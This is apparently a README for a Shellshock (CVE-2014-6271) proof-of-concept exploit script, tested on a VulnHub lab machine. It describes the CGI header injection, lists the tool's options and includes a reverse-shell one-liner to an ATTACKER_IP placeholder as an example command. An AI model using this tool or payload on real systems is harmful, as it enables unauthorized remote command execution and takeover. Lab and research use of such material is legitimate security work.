CVE-2014-6271 Shellshock

xpl0ited by infrar3d

This repository contains a proof‑of‑concept exploit for CVE-2014-6271 (Shellshock).

Shellshock is a critical vulnerability in GNU Bash where specially crafted environment variables allow arbitrary command execution.
When a web server passes HTTP headers into CGI scripts that invoke Bash, an attacker can inject commands via those headers.

Usage:

./shellshock_exp.sh -h                                        
shellshock_exp.sh [options]

Options:
	-h | --help	print this message and exit
	-a | --address	target address (default is "localhost")
	-p | --port	target port (default is 80)
	-f | --file	target file (default is "/cgi-bin/shell.sh")
	-c | --command	command to execute on the target machine (default is "id")

Examples:

./shellshock_exp.sh -a 192.168.1.10

./shellshock_exp.sh -a 192.168.1.10 -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

(tested on VulnHub machine "Hacksudo - Thor")

⚠️ Disclaimer ⚠️

This software and proof-of-concept code is provided for educational and research purposes only.

• The authors are not responsible for any misuse or damage caused by this program.
• Do not use against any systems without explicit prior permission.
• Use of this tools for attacking targets without consent is illegal.

You are responsible for obeying all applicable laws. Use ethically and responsibly.